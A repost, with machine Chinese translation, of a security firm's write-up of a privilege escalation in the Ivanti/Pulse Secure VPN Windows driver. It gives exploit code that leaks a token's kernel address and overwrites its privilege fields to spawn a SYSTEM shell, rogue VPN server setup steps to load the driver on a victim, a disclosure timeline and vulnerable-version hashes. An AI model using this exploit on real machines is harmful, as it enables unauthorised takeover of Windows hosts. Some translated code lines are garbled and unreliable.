什么是没有完整 PoC 漏洞利用的漏洞。现在我们有了 write-what-where 原语,我们几乎是金色的。您可以使用足够的方法从“写入位置”移动到权限的完全升级,有些方法比其他方法更麻烦。对于这个概念验证,我们选择走阻力最小的道路:覆盖攻击进程在令牌对象中启用和呈现的权限,并生成一个 shell。

The necessary steps for this are:
为此,必要的步骤是:

  1. Opening the token of our current process.
    打开我们当前进程的令牌。

OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTok);
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |TOKEN_QUERY,&hTok);

  1. Finding the kernel pointer for this token object using the SystemExtendedHandleInformation class in the NtQuerySystemInformation API.
    使用 NtQuerySystemInformation API 中的 SystemExtendedHandleInformation 类查找此令牌对象的内核指针。

PVOID GetObjectPointerByHandle(HANDLE h)
{
    DWORD pid                       = GetCurrentProcessId();
    PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo   = (PSYSTEM_HANDLE_INFORMATION_EX) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufferSize);

    // Query all the open handles on the system
    NTSTATUS status = ntQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, bufferSize, NULL);
    if (!NT_SUCCESS(status))
    {
                … error checking …
    }

    /*
     *  Loop through the handles and find the one that matches the specified handle
     *  and belongs to the current process
     */
    for (int i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX pHandleEntry = &(pHandleInfo->Handles[i]);
        if (pid == pHandleEntry->UniqueProcessId && pHandleEntry->HandleValue == h)
        {
            return pHandleEntry->Object;
        }
    }

    return NULL;
}

  1. Use the write primitive to overwrite the TOKEN->_SEP_TOKEN_PRIVILEGES->Enabled and TOKEN->_SEP_TOKEN_PRIVILEGES->Present fields to grant system level privileges to our process.

    write_mem(‘q’, token_ptr+0x48, 0x0000001ff2ffffbc);
    write_mem(‘q’, token_ptr+0x40, 0x0000001ff2ffffbc);

  1. Spawn your shell and test your privileges:
    生成你的 shell 并测试你的权限:

system(“cmd.exe”); 系统(“cmd.exe”);

Ivanti/Pulse VPN Privilege Escalation Exploit

Enabling The Vulnerable Driver

In the wild the vulnerable driver is often not enabled by default. In fact, it’s disabled by default. Usually, drivers cannot be enabled from a low-privileged user mode context. However, the vulnerable driver of Ivanti can be. The vulnerable driver is automatically started when a user on the victim machine connects to a VPN server that has TDI fail-over enabled. We can quite easily start the driver ourselves by replicating that behaviour, as one that want’s to exploit the vulnerability likely has already compromised the system and is running malware on it.

Download evaluation image

First, we need to spin up an Ivanti Secure Access VPN evaluation server. Download a VM image of your choice here.

Install evaluation server

Install the downloaded VM image on a VPS or locally. Ensure that you can point a domain name to it (we’ll use vpn.rogue-server.com in this guide from now on). If you locally install it, you can use port forwarding to point a domain to it.

Boot the VM image and complete the setup you are prompted with. When finished, you can access the admin portal (web).

Configure a valid certificate
配置有效的证书

Obtain a valid certificate for your rogue server domain (e.g. vpn.rogue-server.com). You can use Let’s Encrypt for this. Once you’ve obtained a fullchain.pem and privkey.pem, upload them to the admin portal.
为您的恶意服务器域获取有效的证书(例如 vpn.rogue-server.com)。为此,您可以使用 Let’s Encrypt。获取 fullchain.pem 和 privkey.pem 后,将它们上传到管理门户。

System -> Configuration -> Certificates -> Device certificate
系统 -> 配置 -> 证书 -> 设备证书

  1. Delete the self-signed pre-configured one.
    删除自签名的预配置。
  2. Upload your valid certificate via “Import Certificate & Key…”.
    通过“导入证书和密钥…”上传您的有效证书。
  3. Configure your certificate to be used by the internal & external port.
    配置内部和外部端口使用的证书。

Ivanti/Pulse VPN Privilege Escalation Exploit

Client Certificate Configuration
客户端证书配置

  1. Upload the correct intermediate certificate to prevent certificate validation errors client-side. For example, use this one for Let’s Encrypt certificates.
    上传正确的中间证书,以防止客户端出现证书验证错误。例如,将此证书用于 Let’s Encrypt 证书。

Ivanti/Pulse VPN Privilege Escalation Exploit

Client Certificate Configuration
客户端证书配置

Restrict VPN & configure TDI-failover
限制 VPN 并配置 TDI 故障转移

  1. Navigate to “Users” -> “User Roles” -> “Users”.
    导航到“用户”->“用户角色”->“用户”。
  2. On the “Overview” tab, uncheck all Access Features besides “Secure Application Manager & Windows/Mac version sub-item”.
    在“概述”选项卡上,取消选中除“安全应用程序管理器和 Windows/Mac 版本子项”之外的所有访问功能。

Ivanti/Pulse VPN Privilege Escalation Exploit

Disable Access Features 禁用访问功能

  1. On the same page, navigate to the “SAM” -> “Options” tab.
    在同一页面上,导航到“SAM”->“选项”选项卡。
  2. Enable “Enable fail-over to TDI for Pulse SAM connection”.
    启用“为 Pulse SAM 连接启用故障转移到 TDI”。

Ivanti/Pulse VPN Privilege Escalation Exploit

Enable TDI failover 启用 TDI 故障转移

Create a VPN user
创建 VPN 用户

  1. Navigate to the “Authentication” -> “Auth. Servers” -> “System Local” -> “Users” tab.
    导航到“身份验证”->“身份验证服务器”->“系统本地”->“用户”选项卡。
  2. Create a new user with static username and password of your choice (the victim will use it to connect to your rogue VPN).
    使用您选择的静态用户名和密码创建一个新用户(受害者将使用它来连接到您的流氓 VPN)。

Ivanti/Pulse VPN Privilege Escalation Exploit

Create VPN user 创建 VPN 用户

Let victim connect to the rogue server
让受害者连接到流氓服务器

Connect the victim to your rogue server. Connect to it by supplying the URL (e.g. vpn.rogue-server.com, username/password of the user you created, and the realm which that user is in (Users is the local user realm by default).
将受害者连接到您的流氓服务器。通过提供 URL(例如 vpn.rogue-server.com、您创建的用户的用户名/密码以及该用户所在的领域(默认情况下,Users 是本地用户领域))连接到它。

“%programfiles(x86)%\Common Files\Pulse Secure\Integration\pulselauncher.exe” -url YOUR_DOMAIN -u YOUR_USER -p YOUR_PASS -r Users
“%programfiles(x86)%\Common Files\Pulse Secure\Integration\pulselauncher.exe” -url YOUR_DOMAIN -u YOUR_USER -p YOUR_PASS -r 用户

For example 例如

“%programfiles(x86)%\Common Files\Pulse Secure\Integration\pulselauncher.exe” -url vpn.rogue-server.com -u steve -p Welcome01! -r Users
“%programfiles(x86)%\Common Files\Pulse Secure\Integration\pulselauncher.exe” -url vpn.rogue-server.com -u steve -p 欢迎01!-r 用户

Stop the VPN client
停止 VPN 客户端

Before running the privilege esclation exploit, stop the VPN client. Otherwise memory corruptions will take place.
在运行权限提升漏洞之前,请停止 VPN 客户端。否则会发生内存损坏。

“%programfiles(x86)%\Common Files\Pulse Secure\Integration\pulselauncher.exe” -stop
“%programfiles(x86)%\Common Files\Pulse Secure\Integration\pulselauncher.exe” -stop

Timeline 时间线

  • 16-03-2023 – Initial notice to DIVD
    16-03-2023 – 向 DIVD 发出初步通知
  • 20-03-2023 – First reply from Ivanti regarding their responsible disclosure policy
    2023 年 3 月 20 日 – Ivanti 首次回复其负责任的披露政策
  • 13-06-2023 – Northwave shares vulnerability details and PoC with Ivanti
    2023 年 6 月 13 日 – Northwave 与 Ivanti 共享漏洞详情和概念验证
  • 09-09-2023 – Ivanti notifies Northwave of planned patch release date
    2023 年 9 月 9 日 – Ivanti 通知 Northwave 计划的补丁发布日期
  • 17-10-2023 – Planned Vendor Patch Release (not achieved)
    2023 年 10 月 17 日 – 计划的供应商补丁发布(未实现)
  • 09-11-2023 – Vendor Patch Release
    09-11-2023 – 供应商补丁发布
  • 09-11-2023 – Public Release
    09-11-2023 – 公开发布

Indicators Of Compromise (IoC)
入侵指标 (IoC)

We’ve tested the version 9 branch up to 9.1R15 and the version 22 branch up to 22.4R2. Thus, we know that at least the installers and drivers below are vulnerable. Besides that, Ivanti confirmed to us that all versions up to 9.1R18 and 22.6R1 are vulnerable.
我们已经测试了版本 9 分支到 9.1R15 和版本 22 分支到 22.4R2。因此,我们知道至少下面的安装程序和驱动程序容易受到攻击。除此之外,Ivanti 还向我们确认,9.1R18 和 22.6R1 之前的所有版本都容易受到攻击。

Verified vulnerable installer MD5 hash(es):
已验证易受攻击的安装程序 MD5 哈希:

  • MD5 (ps-pulse-win-22.2r1.0-b1295-64bit-installer.msi) = 3e27a3529f09192e70dbb95fc9bb7a83
    MD5 (ps-pulse-win-22.2r1.0-b1295-64bit-installer.msi) = 3e27a3529f09192e70dbb95fc9bb7a83
  • MD5 (ps-pulse-win-22.3r1.0-b18209-64bit-installer.msi) = 5f3ff8aee04ea3270081004829dd201e
    MD5 (ps-pulse-win-22.3r1.0-b18209-64bit-installer.msi) = 5f3ff8aee04ea3270081004829dd201e
  • MD5 (ps-pulse-win-22.4R2.0-64bit-installer.msi) = 4259223d69c7fb0aef3ff5bb4bf488ff
    MD5 (ps-pulse-win-22.4R2.0-64bit-installer.msi) = 4259223d69c7fb0aef3ff5bb4bf488ff
  • MD5 (ps-pulse-win-9.0r5.0-b1907-64bitinstaller.msi) = 432df70eb10f1cb11fd7e6c3167821d4
    MD5 (ps-pulse-win-9.0r5.0-b1907-64bitinstaller.msi) = 432df70eb10f1cb11fd7e6c3167821d4
  • MD5 (ps-pulse-win-9.1r11.4-b8575-64bitinstaller.msi) = 57297937616c918802d04c3709f02d13
    MD5 (ps-pulse-win-9.1r11.4-b8575-64bitinstaller.msi) = 57297937616c918802d04c3709f02d13
  • MD5 (ps-pulse-win-9.1r14.0-b13525-64bit-installer.msi) = c012c88f7cfd741b51b72b4445212b2d
    MD5 (ps-pulse-win-9.1r14.0-b13525-64bit-installer.msi) = c012c88f7cfd741b51b72b4445212b2d
  • MD5 (ps-pulse-win-9.1r15.0-b15819-64bit-installer.msi) = 8f9da1466cb5415a45a512341549b12e
    MD5 (ps-pulse-win-9.1r15.0-b15819-64bit-installer.msi) = 8f9da1466cb5415a45a512341549b12e
  • MD5 (ps-pulse-win-9.1r7.0-b2525-64bitinstaller.msi) = 7430639a2a96a95839953d456b69fdba
    MD5 (ps-pulse-win-9.1r7.0-b2525-64bitinstaller.msi) = 7430639a2a96a95839953d456b69fdba

Verified vulnerable driver MD5 hash(es):
已验证易受攻击的驱动程序 MD5 哈希:

  • MD5 (all installers have the same driver hash) = 7da16447a3d200c8c3ed056828a62e1e
    MD5(所有安装程序具有相同的驱动程序哈希)= 7da16447a3d200c8c3ed056828a62e1e

原文始发于Alex Oudenaarden & Tijme Gommers:Ivanti/Pulse VPN Privilege Escalation Exploit

版权声明:admin 发表于 2023年12月22日 上午10:01。
转载请注明:Ivanti/Pulse VPN Privilege Escalation Exploit | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...